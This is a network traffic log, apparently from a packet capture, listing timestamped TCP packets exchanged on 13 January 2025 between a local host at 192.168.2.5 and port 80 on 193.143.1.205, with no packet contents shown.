Jan 13, 2025 16:18:59.119858980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119899988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119935036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119951963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119968891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120002985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120012045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120038986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120074034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120090961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120107889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120143890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120162010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120754004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120788097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120805979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120840073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120872974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120884895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120909929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120943069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.120956898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.120979071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.121015072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.121026039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.151750088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.151782036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.151833057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152288914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152343035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152396917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152429104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152435064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152465105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152466059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152499914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152514935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152555943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152590036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152606964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152626038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152661085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152673960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152769089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152829885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.152878046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152928114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152964115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.152978897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153003931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153037071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153048992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153072119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153119087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153346062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153395891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153429985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153464079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153469086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153498888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153526068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153534889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153570890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153588057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153795958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153836966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153851032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153889894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153924942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.153943062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.153978109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154011011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154027939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.154045105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154081106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154093027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.154114962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154150009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154164076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.154185057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154221058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154232025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.154258013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154304981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.154946089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.154979944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155015945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155033112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155049086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155086040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155102968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155118942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155154943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155162096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155189037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155225039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155239105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155258894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155294895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155307055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155349970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155385971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155394077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155704021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155759096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155762911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155813932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155863047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155868053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155900955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155936956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.155951023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.155970097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156007051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156024933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156040907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156076908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156085968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156110048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156142950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156155109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156182051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156225920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156708002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156758070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156794071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156810045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156826973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156862974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156879902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.156896114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156932116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.156939983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.159445047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211417913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211447954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211467028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211498976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211517096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211533070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211549997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211565971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211591005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211591005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211606979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211625099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211641073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211651087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211664915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211704969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211765051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211791039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211817026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211863041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211889029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211908102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211913109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211924076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211945057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211946964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.211961985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.211987019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.212368965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212385893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212410927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.212418079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212434053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212450981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212460995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.212476969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212495089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212500095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.212510109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212527990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.212532997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.212569952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.213097095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213121891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213139057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213155031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213165998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.213172913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213190079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213196993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.213207960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213223934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213234901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.213239908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213258028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213269949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.213277102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.213303089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.230484009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.237123966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.244822025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.244877100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.244901896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.244913101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.244968891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.244982958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245003939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245038986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245050907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245091915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245126963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245141029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245163918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245193958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245217085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245228052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245260954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245265961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245296001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245336056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245340109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245388031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245424032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245429993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245460987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245496035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245507956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245528936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245573044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245615959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245668888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245703936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245718002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245759964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245794058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245809078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245827913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245863914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245876074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245898962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245933056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.245945930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.245968103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246001959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246015072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246037960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246073008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246074915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246335983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246387005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246398926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246422052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246455908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246469021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246490955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246525049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246536970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246578932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246612072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246622086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246646881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246680975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246691942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246731043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246764898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246777058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246800900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246834040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246845007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.246870041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246906042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.246911049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247256994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247308016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247390032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247423887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247458935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247471094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247509956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247545958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247560024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247580051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247615099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247627974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247648001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247683048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247693062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247718096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247755051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247761011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247788906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247823000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247834921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.247858047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247895002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.247905016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.248246908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248295069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.248313904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248349905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248383999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248398066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.248419046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248454094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.248466969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.264297962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.270617962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.303656101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303708076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303759098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.303760052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303793907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303828955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303839922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.303884029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303920031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303925037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.303950071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.303988934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304003000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304037094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304071903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304078102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304106951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304162025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304164886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304197073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304229975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304251909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304285049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304315090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304337978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304367065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304402113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304406881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304435015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304467916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304480076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304502010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304536104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304546118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304569960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304610014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304614067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304662943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304697990 CET	80	49704	193.143.1.205	192.168.2.5
